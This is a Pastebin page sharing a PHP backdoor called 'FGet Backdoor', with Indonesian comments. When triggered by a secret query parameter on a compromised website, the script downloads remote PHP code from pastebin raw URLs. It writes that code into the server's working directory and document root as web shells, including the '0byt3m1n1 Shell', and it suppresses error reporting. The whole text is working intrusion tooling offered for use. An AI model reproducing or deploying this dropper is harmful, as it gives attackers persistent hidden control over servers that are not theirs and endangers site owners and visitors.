Advertisement
zerobyte-id

FGet Backdoor

Jan 31st, 2018
886
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.17 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. $name = "pwnd.html"; // Digunakan untuk nama file
  4. $files = "https://pastebin.com/raw/8L5ZmkPF"; // Digunakan untuk file yang akan dipanggil
  5. $secret = "0xbyt3"; // Digunakan untuk hidden file pada FGet Backdoor (contoh: victim.com/fget.php?0xbyt3)
  6.  
  7.  
  8. if($_GET["$secret"] === '') {
  9.     echo "<title>FGet Backdoor</title>\n<style type=\"text/css\">body {background:#000000;font-family:'Courier';color:lime;}a{color:lime;text-decoration:none;}h1{text-align:center;margin:1;}</style>";
  10.     echo "<h1>FGET Backdoor</h1>";
  11.  
  12.     function shellone($name) {
  13.         $filename = "cache_".md5($name).".php";
  14.         $fget=file_get_contents("https://pastebin.com/raw/ntq2g95Z");
  15.         $path=getcwd().DIRECTORY_SEPARATOR;
  16.         $fileopen=fopen("$path/$filename",'w');  
  17.         $execfile=fwrite($fileopen,$fget);
  18.         $shellurl = $_SERVER['HTTPS'] ? "https" : "http" . "://$_SERVER[HTTP_HOST]".dirname($_SERVER[REQUEST_URI])."/$filename";
  19.             if($execfile)
  20.             {
  21.                 if(file_exists(getcwd()."/$filename")) {
  22.                     echo "<font color=\"#00FF00\">[OK!] <a href=\"$shellurl\" target=\"_blank\">$shellurl</a> <font color=\"#009900\">=> 0byt3m1n1 Shell</font></font>";
  23.                 }
  24.                 else {
  25.                     echo "<font color=\"red\">$path$filename<br>Doesn't exist!</font>";
  26.                 }
  27.             }
  28.             else {
  29.                 echo "<font color=\"red\">Failed get newfile $filename in $path</font>";
  30.             }
  31.     }
  32.  
  33.     function shelltwo($name, $file) {
  34.         $filename = $name;
  35.         $fget=file_get_contents($file);
  36.         $path=$_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR;
  37.         $fileopen=fopen("$path/$filename",'w');  
  38.         $execfile=fwrite($fileopen,$fget);
  39.         $shellurl = $_SERVER['HTTPS'] ? "https" : "http" . "://$_SERVER[HTTP_HOST]"."/$filename";
  40.             if($execfile)
  41.             {
  42.                 if(file_exists($path."/$filename")) {
  43.                     echo "<font color=\"#00FF00\">[OK!] <a href=\"$shellurl\" target=\"_blank\">$shellurl</a></font>";
  44.                 }
  45.                 else {
  46.                     echo "<font color=\"red\">$path$filename<br>Doesn't exist!</font>";
  47.                 }
  48.             }
  49.             else {
  50.                 echo "<font color=\"red\">Failed get newfile $filename in $path</font>";
  51.             }
  52.     }
  53.  
  54.     shellone($name);
  55.     echo "<br>";
  56.     shelltwo($name,$files);
  57. }
  58. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement